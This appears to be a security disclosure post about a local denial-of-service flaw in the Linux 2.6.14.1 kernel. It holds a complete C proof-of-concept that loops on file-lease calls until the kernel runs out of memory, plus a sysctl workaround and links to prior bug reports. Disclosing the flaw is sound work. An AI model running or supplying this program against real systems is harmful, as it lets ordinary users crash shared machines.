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    Subjectlocal denial-of-service with file leases
    the following program will oom a the 2.6.14.1 kernel, running as an 
    ordinary user:

    #include <unistd.h>

    #include <stdlib.h>

    #include <linux/fcntl.h>

    int main(int ac, char **av)

    {

    char *fname = av[0];

    int fd = open(fname, O_RDONLY);

    int r;



    while (1) {

    r = fcntl(fd, F_SETLEASE, F_RDLCK);

    if (r == -1) {

    perror("F_SETLEASE, F_RDLCK");

    exit(1);

    }

    r = fcntl(fd, F_SETLEASE, F_UNLCK);

    if (r == -1) {

    perror("F_SETLEASE, F_UNLCK");

    exit(1);

    }

    }

    return 0;

    }


    it will suck all available memory into fasync_cache, causing an oom. a
    workaround is to set fs.leases-enable to 0.

    this has already been reported to lkml[1] and fedora[2], with no effect.

    [1] http://www.ussg.iu.edu/hypermail/linux/kernel/0510.2/1589.html
    [2] https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=172691

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